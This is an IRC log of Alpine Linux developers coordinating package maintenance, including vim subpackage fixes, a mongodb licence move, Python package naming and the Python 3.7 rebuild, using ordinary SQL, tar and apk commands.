2019-04-03 08:09:11 <mps> maybe even add vim-extras subpkg
2019-04-03 08:10:28 <mps> last night I fixed locally vimdiff problem but this fix is not enough to fix all issues with vim
2019-04-03 08:12:23 <mps> any comment?
2019-04-03 08:13:59 <danieli> sounds like you're doing good and much-needed work
2019-04-03 08:14:03 <danieli> i'm in favor of it
2019-04-03 08:15:21 <mps> danieli: yes, I started to work because vim is one of 'essential' pkg's
2019-04-03 08:15:34 <danieli> yeah, it's pretty much essential to me as well
2019-04-03 08:15:43 <danieli> i use emacs and (neo)vim a lot
2019-04-03 08:17:24 <mps> I think I could finish fixes in day or two but want to hear what maintainer think about proposal of subpakages
2019-04-03 08:18:33 <mps> thought to post this to ML but have impression that the ML somewhat 'deaf' ;)
2019-04-03 08:21:59 <danieli> might as well take deafening silence as a green light, people seem to have stronger opinions when it regards something they're against
2019-04-03 08:23:12 <mps> danieli: hmm, didn't thought about it this way, but you are probably right
2019-04-03 08:24:50 <AinNero> mps: volunteers go ahead
2019-04-03 08:25:43 <mps> I don't like to touch pkg's if I know maintainer is active before asking, except only when see serious issues
2019-04-03 08:26:10 <AinNero> heh
2019-04-03 08:36:24 <danieli> ncopa maintains a lot of different packages just because they're common packages that are necessary, not always because he uses them himself
2019-04-03 08:36:38 <danieli> if people want to help out, that's great :)
2019-04-03 08:37:07 <AinNero> if said people are user of that software, even better
2019-04-03 08:37:20 <ncopa> mps: it was larena that commited the gvim stuff. i havent looked at it.
2019-04-03 08:37:50 <ncopa> mps: what you say makes sense though, so I kinda trust you on this one. Feel free to send a patch.
2019-04-03 08:38:02 <ncopa> i would probably have had a look at what fedora does
2019-04-03 08:39:03 <mps> it was ddvault who added gvim
2019-04-03 08:39:19 <ncopa> i just had a quick look at it
2019-04-03 08:39:32 <mps> I looked at debian vim
2019-04-03 08:39:35 <ncopa> i think what you say makes sense
2019-04-03 08:40:11 <ncopa> in general, i think we should install everything into the same "$pkgdir" in the package() func. all subpackages
2019-04-03 08:40:26 <ncopa> then we move files/dirs to the subpackages
2019-04-03 08:40:50 <ncopa> that is instead of running "make install" from the subpakcage split function
2019-04-03 08:41:08 <ncopa> that way we make sure that it is possible to install the subpackage in parallel
2019-04-03 08:41:42 <mps> right, that is how I tried to fix it
2019-04-03 08:42:00 <ncopa> mps: thank you very much for taking care of that
2019-04-03 08:42:22 <mps> np, vim is really important for me
2019-04-03 08:43:06 <ncopa> same here :)
2019-04-03 08:43:44 <mps> and, thank you for Alpine, never can't to remeber this
2019-04-03 08:44:19 <mps> sorry, s/remember/forget/
2019-04-03 08:50:52 <rnalrd> FYI moving mongodb to non-free repo
2019-04-03 08:53:13 <AinNero> mps: tbh most of my contributions to alpine are just my advanced form of complaining that my alpine setup broke :P
2019-04-03 08:55:24 <clandmeter> rnalrd: its needed to move to non-free?
2019-04-03 08:55:55 <mps> AinNero: this is where I start
2019-04-03 08:56:41 <rnalrd> clandmeter, license would still allow to build and use it
2019-04-03 08:57:12 <rnalrd> just in case some really can't soon move away
2019-04-03 08:57:13 <danieli> they moved from AGPLv3 to SSPL
2019-04-03 08:57:25 <danieli> was it approved by OSI?
2019-04-03 08:57:33 <rnalrd> still under review AFAIK
2019-04-03 08:58:16 <tmhoang> has anyone worked with cloud-init to make Alpine bootable with it before ? Because I'm going to work on it .
2019-04-03 08:58:58 <rnalrd> clandmeter, I'd remove it after AL3.10 release
2019-04-03 08:59:12 <danieli> tmhoang: what's the context/reason, if I may ask?
2019-04-03 09:00:01 <clandmeter> i wonder if it makes sense to just move it to testing?
2019-04-03 09:00:11 <clandmeter> so its not included in 3.10 anymore
2019-04-03 09:00:28 <danieli> people who use it won't be too happy but that's besides the point
2019-04-03 09:00:34 <tmhoang> danieli: ncopa suggested few weeks ago with cloud-init in a discussion that it could be nice to have scripted installation
2019-04-03 09:00:43 <danieli> tmhoang: agreed
2019-04-03 09:00:55 <tmhoang> so we would not reinvent the wheel
2019-04-03 09:02:03 <clandmeter> didnt jirutka work on something similar?
2019-04-03 09:02:15 <clandmeter> but without the kitchen sink
2019-04-03 09:02:25 <clandmeter> or im mixing things
2019-04-03 09:03:09 <tmhoang> too early to get drunk clandmeter
2019-04-03 09:03:18 <tmhoang> :D
2019-04-03 09:03:42 <tmhoang> anyway it would be nice if anyone has progress
2019-04-03 09:03:51 <tmhoang> i'm playing with ubuntu to see what are the features
2019-04-03 09:04:03 <tmhoang> arch-wise too
2019-04-03 09:04:23 <clandmeter> tmhoang: is that ociwhatever related?
2019-04-03 09:04:38 <tmhoang> oci = container stuff ? idk
2019-04-03 09:05:00 <danieli> you're probably thinking of the OCI image format (open container initiative)
2019-04-03 09:05:10 <clandmeter> if not, just ignore me
2019-04-03 09:05:13 <clandmeter> like everybody else
2019-04-03 09:05:16 <clandmeter> ;-)
2019-04-03 09:05:31 <danieli> https://github.com/opencontainers/image-spec
2019-04-03 09:05:46 <clandmeter> what does cloud-init do?
2019-04-03 09:06:02 <tmhoang> clandmeter: provisioned installation
2019-04-03 09:06:11 <tmhoang> scripted installation
2019-04-03 09:06:34 <tmhoang> aka mass deployment
2019-04-03 09:07:53 <tmhoang> should be working at initramfs
2019-04-03 09:09:41 <clandmeter> ah ok, i had the wrong assumption
2019-04-03 09:09:55 <ncopa> does not need to work from initramfs
2019-04-03 09:10:07 <ncopa> could be a firstrun script
2019-04-03 09:10:11 <ncopa> firstboot*
2019-04-03 09:10:59 <tmhoang> so you have a conf file looks like this : { user : clandmeter, ssh_key : https://clandmeter.com/clandmeter.keys, inittial_pkgs : gcc, openjdk, number_of_instaces: 10 } . Then, for example you are on openstack : # openstack deploy clandmeter.conf. Bam. You have 10 Alpine instaces.
2019-04-03 09:11:06 <tmhoang> ncopa: yes yes
2019-04-03 09:11:51 <clandmeter> ah ok.
2019-04-03 09:12:21 <clandmeter> ive seen so many clouds it almost starts to rain here.
2019-04-03 09:12:46 <mps> clandmeter: :D
2019-04-03 09:13:02 <danieli> raining on clandmeter's parade
2019-04-03 09:14:18 <tmhoang> rain man
2019-04-03 09:54:14 <tmhoang> probably this : https://github.com/alpinelinux/alpine-make-vm-image
2019-04-03 09:56:02 <tmhoang> I guess, at the end, we might have something like : dl-cdn.alpinelinux.org/alpine/v3.9/releases/x86_64/cloudimg
2019-04-03 10:01:00 <clandmeter> tmhoang: https://github.com/jirutka/sloci-image
2019-04-03 10:01:16 <clandmeter> that was what i though was similar.
2019-04-03 10:01:57 <tmhoang> clandmeter: eye-opening for me
2019-04-03 10:30:29 <mps> rnalrd: I see that you upgraded postgresql, could I close Bug #10184
2019-04-03 10:32:23 <rnalrd> sorry I did not link commit msg to the bug id
2019-04-03 10:32:26 <rnalrd> tnx mps
2019-04-03 10:33:21 <clandmeter> rnalrd: doesnt matter, its broken anyway :)
2019-04-03 10:33:27 <mps> ok, I will close it now if you don't mind
2019-04-03 10:35:20 <_ikke_> Should python3 only lib packages be called py3-*?
2019-04-03 10:47:31 <clandmeter> good question
2019-04-03 10:47:51 <clandmeter> what what is a lib and when does it become a non lib
2019-04-03 10:48:08 <clandmeter> s/what//
2019-04-03 10:48:09 <alpine-meetbot> clandmeter meant to say:  what is a lib and when does it become a non lib
2019-04-03 10:49:44 <_ikke_> netbox is not a lib, ipython I would not consider a lib, requests is definitely a lib
2019-04-03 10:49:52 <_ikke_> there might some gray areas in between of course
2019-04-03 10:50:09 <_ikke_> There currently already is a standard to prefix them with py*-
2019-04-03 10:51:19 <_ikke_> I just wonder (but that is probably a question for a hypothetical python team) whether python3 only packages should be called py3- or py-
2019-04-03 10:51:42 <danieli> I'd go for py- to be honest, if we're in the process of phasing out python 2
2019-04-03 10:51:52 <_ikke_> danieli: I would agree as well personally
2019-04-03 10:52:11 <danieli> there may be other arguments to retain py3-, but I can't think of any
2019-04-03 11:00:46 <ncopa> there was someone on the mailing list that had opinion on that
2019-04-03 11:00:59 <ncopa> the idea was to explicitly specify the version
2019-04-03 11:01:16 <ncopa> i guess it depends a bit on how the move to python4 goes
2019-04-03 11:01:54 <ncopa> we used to have py-* be python2
2019-04-03 11:02:13 <ncopa> so it may make sense to explicitly use py3-* til python2 is removed
2019-04-03 11:02:23 <_ikke_> To me it would make sense to have py-* track the latest version, and py<n>- historical versions
2019-04-03 11:02:23 <danieli> good point, agreed
2019-04-03 11:02:33 <ncopa> to avoid confusion
2019-04-03 11:02:37 <ncopa> and help upgrade
2019-04-03 11:03:17 <ncopa> _ikke_: then we need to look over all our current py-* and make sure we have no py-* that is python2
2019-04-03 11:03:29 <ncopa> which is ok, but may require some work
2019-04-03 11:03:35 <_ikke_> nod
2019-04-03 11:03:53 <ncopa> it may also cause problems for upgrade
2019-04-03 11:04:19 <ncopa> half of installed py-* may be python2 and other is python3
2019-04-03 11:04:47 <ncopa> and some pre-install script may execute python app during upgrade
2019-04-03 11:05:37 <ncopa> so i think it may be easiest to use py3-* for now
2019-04-03 11:23:18 <_ikke_> ncopa: alright, will leave it that for now
2019-04-03 11:36:46 <mps> _ikke_: to rephrase Sun Tzu "those who occupied field of battle first is at the easy"
2019-04-03 12:29:46 <danieli> fcolista: taking care of perl, I see? :)
2019-04-03 12:30:36 <fcolista> well.. are packages where I'm set as maintainer...
2019-04-03 12:30:47 <fcolista> but if you want to take care, feel free ;-)
2019-04-03 13:20:41 <clandmeter> ncopa: where does apk record virtuals?
2019-04-03 13:21:36 <clandmeter> found it
2019-04-03 13:21:49 <ncopa> :)
2019-04-03 13:22:03 <clandmeter> it would be nice if we could fix that bug
2019-04-03 13:22:08 <clandmeter> should i ping fabled?
2019-04-03 13:22:40 <clandmeter> the bug to add additional deps
2019-04-03 13:25:06 <ncopa> how should it work?
2019-04-03 13:25:21 <ncopa> apk add --virtual .myvirt pkg1 pkg2
2019-04-03 13:25:35 <ncopa> then if you do: apk add --virtual .myvirt pkg3
2019-04-03 13:25:39 <ncopa> what should happen?
2019-04-03 13:25:56 <ncopa> should it replace them both or only append?
2019-04-03 13:25:57 <_ikke_> I think it used to add additional packages to that virtual package
2019-04-03 13:26:14 <_ikke_> One thing that is broken right now is: apk deps, add depends to APKBUILD, apk deps
2019-04-03 13:26:22 <ncopa> yes
2019-04-03 13:26:34 <ncopa> abuild undeps deps
2019-04-03 13:26:43 <ncopa> to reinstall deps
2019-04-03 13:26:48 <_ikke_> yes
2019-04-03 13:27:09 <clandmeter> yes i think it was just adding deps
2019-04-03 13:27:18 <ncopa> i think its slightly better to replace
2019-04-03 13:27:29 <ncopa> incase you remove deps and re-run abuild
2019-04-03 13:27:44 <ncopa> then you will get it removed
2019-04-03 13:27:58 <_ikke_> perhaps add an --apend option as well?
2019-04-03 13:27:58 <clandmeter> now you cant do any modification
2019-04-03 13:30:03 <clandmeter> and changing behavior is never good.
2019-04-03 13:30:33 <clandmeter> but we are waiting so long to fix/change this, the current implementation is becoming a new standard.
2019-04-03 13:36:35 <ncopa> there is an open issue for it
2019-04-03 13:36:39 <ncopa> maybe ping fabled there
2019-04-03 15:47:35 <_ikke_> R3d_Sky: ping
2019-04-03 16:36:38 <ddevault> ncopa: do you want me to adopt py-hypothesis? I need to move it into main as well fwiw
2019-04-03 16:40:19 <ncopa> ddevault: sure
2019-04-03 16:40:29 <danieli> i'll grab erlang
2019-04-03 16:40:39 <ddevault> ncopa: cool, patches soon
2019-04-03 16:41:17 <ncopa> thanks!
2019-04-03 16:52:15 <_ikke_> ddevault: What is your plan with python?
2019-04-03 16:52:34 <_ikke_> Some of use started to work on the 3.7 upgrade
2019-04-03 16:52:57 <ncopa> do you remember who started on the python 3.7 upgrade?
2019-04-03 16:53:13 <_ikke_> me, danieli and R3d_Sky
2019-04-03 16:53:20 <_ikke_> But it's not advanced a lot yet
2019-04-03 16:53:38 <ncopa> do you have a way ti figure out which packages that needs rebuild?
2019-04-03 16:54:01 <_ikke_> R3d_Sky built some scripts that provided the order in which packages could be updated best
2019-04-03 16:54:11 <_ikke_> But I haven't heard a lot from them since then
2019-04-03 16:54:26 <ncopa> i guess we could tar -ztf file.apk | grep /usr/lib/python3.6
2019-04-03 16:54:36 <ncopa> to get exact list
2019-04-03 16:54:58 <_ikke_> We can also get that from pkgs.a.o, right?
2019-04-03 16:55:12 <ncopa> and append so:libpython.so.*
2019-04-03 16:55:17 <ncopa> dunno. possibly
2019-04-03 16:55:20 <kmaxwell> /usr/sbin/makewhatis -a -T utf8 /usr/share/man
2019-04-03 16:55:37 <_ikke_> kmaxwell: ?
2019-04-03 16:55:53 <kmaxwell> whoops sorry, that was meant to be a question do we need the -a in https://git.alpinelinux.org/aports/tree/main/mdocml/mdocml-apropos.trigger?
2019-04-03 16:56:35 <kmaxwell> I have just been investigating a surprising behaviour where if you have mdocml-apropos installed man w3m defaults to German
2019-04-03 16:56:39 <ncopa> i dont know. what does the -a do?
2019-04-03 16:57:01 <kmaxwell> it means "-a       Use all directories and files found below dir ...."
2019-04-03 16:57:48 <kmaxwell> w3m-doc includes japanese and german pages in /usr/share/man/de/ and ja/
2019-04-03 16:58:45 <ncopa> reminds me of https://www.xkcd.com/1168/  :)
2019-04-03 16:58:46 <alpine-meetbot> https://xkcd.com/1168 | tar | Alt-text: I don't know what's worse--the fact that after 15 years of using tar I still can't keep the flags straight, or that after 15 years of technological advancement I'm still mucking with tar flags that were 15 years old when I started.
2019-04-03 16:59:21 <ncopa> kmaxwell: are there any git commit that introduces the -a?
2019-04-03 16:59:57 <kmaxwell> ncopa: let me check...
2019-04-03 17:04:35 <ollieparanoid[m]> ncopa: if you have time, it would be great if we could finish the relgroups thing up: https://lists.alpinelinux.org/alpine-devel/6501.html and https://github.com/ollieparanoid/aports-relgroup-check
2019-04-03 17:05:28 <kmaxwell> ncopa: the -a was introduced in 2014 when the trigger was first added
2019-04-03 17:05:57 <kmaxwell> back then it was mdocml.trigger
2019-04-03 17:06:36 <ncopa> ok
2019-04-03 17:07:10 <ncopa> where are native language manpages supposed to be?
2019-04-03 17:07:18 <ncopa> i wonder what the real problem is
2019-04-03 17:11:26 <kmaxwell> I've found a few packages with them in /usr/share/man/ja as well as w3m, I found lxc, inkscape
2019-04-03 17:12:32 <ncopa> ollieparanoid[m]: yes should do that too
2019-04-03 17:14:02 <ollieparanoid[m]> ncopa: great. IMHO the next step is creating the same repository in alpinelinux github, and enable travis for it. I've already added a travis.yml config for this repository and it runs fine
2019-04-03 17:14:08 <kmaxwell> I don't have the canonical answer right now just anecdotes (also rpm, po4a and others)
2019-04-03 17:14:21 <ollieparanoid[m]> then I can create a PR for the aports repository to use the script and do the check
2019-04-03 17:14:32 <ollieparanoid[m]> and then we can use it in the APKBUILDs, right?
2019-04-03 17:15:42 <ddevault> _ikke_: my plan for the normalization project and python2 removal was to wait to push it further until post-governance-overhaul and post-py3.7
2019-04-03 17:15:53 <_ikke_> right
2019-04-03 17:15:56 <ddevault> happy to pitch in on 3.7
2019-04-03 17:16:00 <_ikke_> Ok
2019-04-03 17:16:13 <ncopa> i think we need upgrade python to 3.7 asap
2019-04-03 17:19:13 <ddevault> what does that work look like?
2019-04-03 17:19:58 <kmaxwell> keen to get involved with the 3.7 work too
2019-04-03 17:20:41 <ncopa> step 1: build python 3.7 (this is simple)
2019-04-03 17:20:43 <_ikke_> It's updating python itself (which we already have) and then identify all python packes that need to be bumped so that it's built/packaged for 3.7
2019-04-03 17:20:59 <ncopa> step 2: figure out all packages tha needs to be rebuilt
2019-04-03 17:21:03 <ncopa> step 3: rebuild those
2019-04-03 17:21:22 <ncopa> i would guess it is hundreds
2019-04-03 17:22:05 <_ikke_> And also you need to find the right order
2019-04-03 17:22:17 <_ikke_> You cannot rebuild a package until it's dependencies are rebuilt
2019-04-03 17:22:48 <ncopa> that i have more or less under control
2019-04-03 17:23:05 <ncopa> ap builddirs pkg1 pkg2...
2019-04-03 17:23:22 <ddevault> and how can I help?
2019-04-03 17:23:24 <ncopa> first in main then community and finally testing
2019-04-03 17:23:31 <ddevault> I can write the patch for and test python 3.7 itself, that's easy enough
2019-04-03 17:23:37 <_ikke_> ddevault: We already have that
2019-04-03 17:23:56 <ncopa> help us to fing what packages that needs rebuild
2019-04-03 17:24:03 <_ikke_> https://github.com/Ikke/aports/commit/840c4ca53b6c90dd43f12c631860db6538887766
2019-04-03 17:24:03 <ddevault> isn't that just py-*?
2019-04-03 17:24:26 <_ikke_> possibly others as well
2019-04-03 17:24:31 <ddevault> true
2019-04-03 17:24:46 <ncopa> there are some that has python3-dev in makedepends
2019-04-03 17:25:10 <ncopa> evertying that has /usr/lib/python3.6 in apk needs to be rebuilt
2019-04-03 17:25:26 <ncopa> and everythign that is linked to libpython
2019-04-03 17:26:50 <_ikke_> ncopa: so you only want/need a list of packages, not the patches to update itself?
2019-04-03 17:27:01 <ncopa> yes i think list of packages
2019-04-03 17:27:11 <ncopa> or maybe a script that generates the list of packages
2019-04-03 17:27:34 <ncopa> because it will probably take days to do this
2019-04-03 17:27:45 <ncopa> and the aports tree will change
2019-04-03 17:27:52 <ncopa> the aports tree is alive
2019-04-03 17:28:25 <_ikke_> yes, that makes sense
2019-04-03 17:30:12 <_ikke_> clandmeter: is there an easy way to get the data from aports-turbo?
2019-04-03 17:30:20 <kmaxwell> if you replace mdocml and mdocml-apropos with man-db from testing then man -L de w3m works
2019-04-03 17:31:04 <kmaxwell> so I think the native pages are in the right place, its just if you build the index with makewhatis -a the default becomes de
2019-04-03 17:32:33 <kmaxwell> ncopa: do you think a PR with a detailed write up (removing -a) or an issue is worthwhile?
2019-04-03 17:34:06 <ncopa> probably yes
2019-04-03 17:37:47 <kmaxwell> great thanks, will have a go
2019-04-03 17:38:08 <ncopa> ddevault: you can also help by build python-3.7 locally and help us fix issues that we bump into along the way
2019-04-03 17:38:36 <ddevault> no problem
2019-04-03 17:44:42 <clandmeter> Define easy
2019-04-03 17:46:02 <_ikke_> djI could probably fetch a copy of the sqlite db
2019-04-03 17:46:43 <clandmeter> Djl?
2019-04-03 17:46:53 <_ikke_> s/djI/I/
2019-04-03 17:46:53 <alpine-meetbot> _ikke_ meant to say: I could probably fetch a copy of the sqlite db
2019-04-03 17:47:30 <clandmeter> Hmm
2019-04-03 17:47:46 <clandmeter> Maybe easier to add an service
2019-04-03 17:47:58 <clandmeter> Not sure what to want
2019-04-03 17:48:16 <ncopa> could also do something like: for i in *.apk; do tar -ztf $i | grep -q usr/lib/python3.6 && echo $i; done
2019-04-03 17:48:51 <clandmeter> Oh a one time thing?
2019-04-03 17:49:02 <_ikke_> yeah, for now it is
2019-04-03 17:49:11 <_ikke_> List of python packages that need to be updated
2019-04-03 17:49:13 <clandmeter> Just use the sqlite db on pkgs
2019-04-03 17:49:23 <clandmeter> If you need to
2019-04-03 17:49:25 <ncopa> probably faster yes
2019-04-03 17:49:58 <clandmeter> They are around 1gb
2019-04-03 17:50:10 <clandmeter> Per release
2019-04-03 17:50:38 <_ikke_> ok, not that small :)
2019-04-03 17:51:16 <clandmeter> There are many packages and even more files
2019-04-03 17:51:26 <clandmeter> And you need an index
2019-04-03 17:52:02 <ncopa> maybe put a script on the machine and run it over ssh
2019-04-03 17:52:25 <_ikke_> Trying to find the location
2019-04-03 17:52:25 <ncopa> i dont know if we can also search for packages that depends on so:libpython at the same time
2019-04-03 17:59:31 <_ikke_> there is a depends table
2019-04-03 18:00:06 <clandmeter> I'm not sure how i store so:libs
2019-04-03 18:00:38 <_ikke_> so:libpython3.6m.so.1.0|||985
2019-04-03 18:01:01 <clandmeter> Ah so same as apkindex
2019-04-03 18:01:59 <clandmeter> Pkgs is not 100% sane.
2019-04-03 18:03:36 <_ikke_> select p.name from packages p join depends d on d.pid = p.id where p.arch='x86_64' and d.name='so:libpython3.6m.so.1.0';
2019-04-03 18:03:43 <_ikke_> That seems to work
2019-04-03 18:04:09 <_ikke_> sqlite> select count(*) from packages p join depends d on d.pid = p.id where p.arch='x86_64' and d.name='so:libpython3.6m.so.1.0';
2019-04-03 18:04:11 <_ikke_> 115
2019-04-03 18:05:33 <ncopa> apk search -q --exact -r --origin  so:libpython3.6m.so.1.0
2019-04-03 18:05:45 <ncopa> gives the list via apk
2019-04-03 18:05:59 <_ikke_> right, so that also works
2019-04-03 18:06:21 <ncopa> but the file contents is not possible with apk
2019-04-03 18:06:26 <clandmeter> I don't follow so I'm putting away my phone ):
2019-04-03 18:06:33 <clandmeter> :)
2019-04-03 18:06:35 <ncopa> :)
2019-04-03 18:07:07 <ncopa> need to search for packages that has files in /usr/lib/python3.6
2019-04-03 18:07:20 <ncopa> in addition to the above list
2019-04-03 18:07:31 <ncopa> and we are interested in the name of the origin
2019-04-03 18:07:43 <ncopa> but pkgname is ok too
2019-04-03 18:08:27 <_ikke_> select p.name from packages p join files f on f.pid=p.id and p.arch='x86_64' and f.path like '/usr/lib/python3.6/%' group by p.name;
2019-04-03 18:08:56 <_ikke_> I can also do origin
2019-04-03 18:09:06 <ncopa> not needed i think
2019-04-03 18:09:17 <ncopa> oh maybe it is
2019-04-03 18:09:38 <_ikke_> is one limiting to one arch sufficient?
2019-04-03 18:09:39 <ncopa> can you put those two in a script that i can execute remotely?
2019-04-03 18:09:41 <ncopa> yes
2019-04-03 18:10:01 <ncopa> actually
2019-04-03 18:10:05 <ncopa> we can list all arches
2019-04-03 18:10:07 <ncopa> its better
2019-04-03 18:10:11 <_ikke_> ok
2019-04-03 18:10:12 <ncopa> and then sort -u the result
2019-04-03 18:10:40 <_ikke_> I can also add a distinct on the output
2019-04-03 18:11:37 <ncopa> i bet you can
2019-04-03 18:11:42 <ncopa> and that is probably better
2019-04-03 18:12:34 <_ikke_> so not origin, correct?
2019-04-03 18:14:42 <_ikke_> ok, one script done
2019-04-03 18:16:34 <_ikke_> script 2 as well
2019-04-03 18:17:18 <_ikke_> so in the home dir on alpine-pkgs.nld3.alpin.pw there are 2 scrips
2019-04-03 18:17:23 <_ikke_> scripts*
2019-04-03 18:19:24 <ncopa> can you call them both with a single script?
2019-04-03 18:19:33 <_ikke_> to get a single list?
2019-04-03 18:19:39 <ncopa> yes
2019-04-03 18:19:47 <ncopa> ok, i have the first build failure
2019-04-03 18:19:55 <ncopa> py-more-itertools
2019-04-03 18:21:03 <ncopa> hum
2019-04-03 18:21:17 <ncopa> are there anything that needs py2-more-itertools?
2019-04-03 18:21:22 <ncopa> there is a 7.0.0 release out
2019-04-03 18:21:26 <ddevault> idea: uninstall the makedepends during check()
2019-04-03 18:21:40 <ncopa> but it does not seem to build
2019-04-03 18:21:51 <ncopa> ddevault: why?
2019-04-03 18:21:58 <ddevault> more_iterutils is a transitive dep of a lot of things, through pytest
2019-04-03 18:22:12 <ddevault> ncopa: to make sure the pkg will work at runtime
2019-04-03 18:22:28 <ddevault> i.e. detect if a depends was accidentally put in as a makedepends
2019-04-03 18:22:36 <ncopa> lots of test suites may need make
2019-04-03 18:22:38 <ncopa> or cmake
2019-04-03 18:22:47 <ddevault> fair
2019-04-03 18:22:49 <ddevault> nevermind
2019-04-03 18:23:19 <ncopa> ddevault: can you investigate if we still need py2-more-itertools?
2019-04-03 18:23:24 <ddevault> okay
2019-04-03 18:24:10 <ddevault> initial survey suggests we do
2019-04-03 18:25:04 <ncopa> . The 5.0.0 release will be the last version targeting Python 2.7.
2019-04-03 18:25:06 <ncopa> fair enough
2019-04-03 18:25:16 <ncopa> lets upgrade to py-iter-tools 5.0.0
2019-04-03 18:25:27 <ddevault> want me to add it to my list?
2019-04-03 18:25:28 <ncopa> py-more-itertools
2019-04-03 18:25:35 <ddevault> I have about 30 patches queued up, mostly python
2019-04-03 18:25:46 <ncopa> oh, cool
2019-04-03 18:25:53 <ncopa> i am also looking at PRs
2019-04-03 18:25:56 <ddevault> working on adopting k_niini's packages
2019-04-03 18:26:08 <ncopa> merging PRs at the same time
2019-04-03 18:26:16 <ddevault> there's a lot of stuff which needs cleaning up, which discovered a lot of undeclared and transitive deps, which ballooned the list...
2019-04-03 18:26:18 <ddevault> I'll get there
2019-04-03 18:26:39 <ncopa> i wonder if we should have a common PR were we can put stuff
2019-04-03 18:26:53 <ncopa> I have already started the rebuild
2019-04-03 18:27:03 <_ikke_> I created a branch for that
2019-04-03 18:27:09 <ncopa> same here
2019-04-03 18:27:11 <ncopa> locally
2019-04-03 18:28:58 <ncopa> Im merging those: https://github.com/alpinelinux/aports/pulls?utf8=%E2%9C%93&q=is%3Apr+is%3Aopen+py-
2019-04-03 18:29:47 <ddevault> skip cssselect2 and tinycss2 please
2019-04-03 18:29:51 <ddevault> and py-requests
2019-04-03 18:30:15 <ddevault> also skip cairosvg and weasyprint please
2019-04-03 18:30:28 <ddevault> I'll have better patches up on the ml today
2019-04-03 18:34:15 <ncopa> focusing on main only for now
2019-04-03 18:34:20 <ddevault> cool
2019-04-03 18:35:04 <ncopa> after 3.10 i want try remove as much as possible of python2 stuff
2019-04-03 18:35:15 <ddevault> here's the list of unmerged patches I have right now https://paste.sr.ht/~sircmpwn/7301c3ede4981c7d89a9281d14c147bf21e990a9
2019-04-03 18:35:35 <ddevault> also have py-pyphen, py-requests, py-six, py-sqlalchemy in the queue
2019-04-03 18:36:06 <ncopa> i think it would be good to spearate out the stuff that touches python only
2019-04-03 18:36:22 <ncopa> the parts that does not touch python could be merged early
2019-04-03 18:36:22 <ddevault> yeah I'm going to group these into a handful of logical patch series
2019-04-03 18:37:12 <ncopa> so my plan here is to merge in PRs and contributors patches that touches python
2019-04-03 18:37:26 <ncopa> and rebuild everything that touches python that those depend on
2019-04-03 18:37:57 <ncopa> ap recursdeps will give hint of the dependency chain of a given package
2019-04-03 18:38:39 <ncopa> once i merged in everything from main and rebuild the dependency chains
2019-04-03 18:39:06 <ncopa> ill use ikkes script to get a full list
2019-04-03 18:39:12 <ncopa> and rebuild what has not yet been rebuilt
2019-04-03 18:46:11 <_ikke_> ncopa: there is a new script that combines the two
2019-04-03 18:48:42 <ncopa> great!
2019-04-03 18:49:18 <ncopa> and i just finished main/py-cryptography
2019-04-03 18:58:13 <ncopa> ddevault: d you ahve this patch in your queue too? https://github.com/alpinelinux/aports/pull/6023/commits/d7fdbf86702fcc89b563f07ca8c2ac9428a61106
2019-04-03 18:59:00 <ddevault> requests was updated to 2.21.0 on Jan 10th by Dmitry Romanenko
2019-04-03 18:59:12 <ddevault> (but I do have adopting that package in my queue)
2019-04-03 18:59:22 <ddevault> I'm about to send out my patches, just gotta upgrade itertools and that's it
2019-04-03 19:00:05 <ddevault> what issue were you hitting? I just updated the pkgver and it built fine
2019-04-03 19:00:24 <ncopa> old version did not support python 3.7
2019-04-03 19:00:34 <ncopa> i tried upgrade to 7.0.0 which was latest
2019-04-03 19:00:40 <ddevault> ah.
2019-04-03 19:00:41 <ncopa> but that does not support pyuthon2
2019-04-03 19:00:46 <ncopa> so i upgraded to 5.0.0
2019-04-03 19:01:07 <ddevault> seems like an acceptable solution for the time being
2019-04-03 19:01:11 <ddevault> don't need any patches from me then?
2019-04-03 19:01:17 <ncopa> not for that
2019-04-03 19:01:27 <ddevault> alright, mailing out my patches now
2019-04-03 19:02:05 <ncopa> do you have the patches for py-* somewhere i can curl ... | git am ?
2019-04-03 19:02:54 <ddevault> I'm getting ready to send patches in these four groups https://paste.sr.ht/~sircmpwn/b339913d26c33a0c4c22be943860c354539dba67
2019-04-03 19:02:57 <ddevault> do you want me to send them directly to you?
2019-04-03 19:03:13 <ddevault> I can also get a curl thing going I guess
2019-04-03 19:03:44 <ncopa> i was thinking of an url here
2019-04-03 19:04:19 <ddevault> if you're willing to wait ~5 mins for all of the mail servers to catch up
2019-04-03 19:04:25 <ncopa> git format-patch --stdout origin/master | tpaste
2019-04-03 19:04:28 <ddevault> I can shoot them at the aports ml and let them come in to my lists.sr.ht mirror
2019-04-03 19:04:29 <ncopa> im willing to wait :)
2019-04-03 19:04:35 <ddevault> then give you a curl link to my mbox export off of lists.sr.ht
2019-04-03 19:07:49 <ddevault> series 1 https://lists.sr.ht/~sircmpwn/alpine-aports/%3C20190403190652.28848-1-sir%40cmpwn.com%3E/mbox
2019-04-03 19:11:25 <ddevault> bah, threading is broken here again
2019-04-03 19:11:35 <ddevault> it's cause the list sends them to me out of order I think
2019-04-03 19:11:39 <ddevault> let me get these to you in another way
2019-04-03 19:12:38 <_ikke_> ddevault: in my mail client, threading seems to work perfectly
2019-04-03 19:12:49 <ddevault> yeah, it's a bug in my list
2019-04-03 19:13:02 <ddevault> if it doesn't receive the parent first, it doesn't thread properly
2019-04-03 19:13:06 <ddevault> ncopa: https://patchwork.alpinelinux.org/bundle/ddevault/Misc%20Python%20adoptions%20&%20updates/mbox/
2019-04-03 19:13:38 <ddevault> ncopa: https://patchwork.alpinelinux.org/bundle/ddevault/Misc%20adoptions/mbox/
2019-04-03 19:15:00 <_ikke_> Is it a problem to add replaces= and provides= for the same package?
2019-04-03 19:15:18 <ddevault> ncopa: will rebase & resend these with the pkgrels fixed
2019-04-03 19:15:21 <ncopa> shouldnt be
2019-04-03 19:20:12 <ddevault> misc adoptions v2 https://patchwork.alpinelinux.org/bundle/ddevault/Misc%20adoptions/mbox/
2019-04-03 19:24:07 <SpaceToast> my threading was broken, and then I realized it was just disabled ^^;;
2019-04-03 19:24:20 <SpaceToast> (thunderbird is silly and doesn't seem to have global settings for that stuff)
2019-04-03 19:24:42 <_ikke_> I switched to using mutt for reading mailing lists
2019-04-03 19:25:24 <ddevault> ncopa: any more comments on misc python before I send v2?
2019-04-03 19:25:27 <ncopa> ddevault: py2-dateutil ends up depending on py3-six
2019-04-03 19:25:37 <ncopa> im looking over the other
2019-04-03 19:25:43 <ncopa> py-pluggy is ok
2019-04-03 19:25:49 <ddevault> the fix was to add !check if BOOTSTRAP is set to py-six
2019-04-03 19:25:55 <ddevault> to skip py-pytest, which is the source of the transitive dep
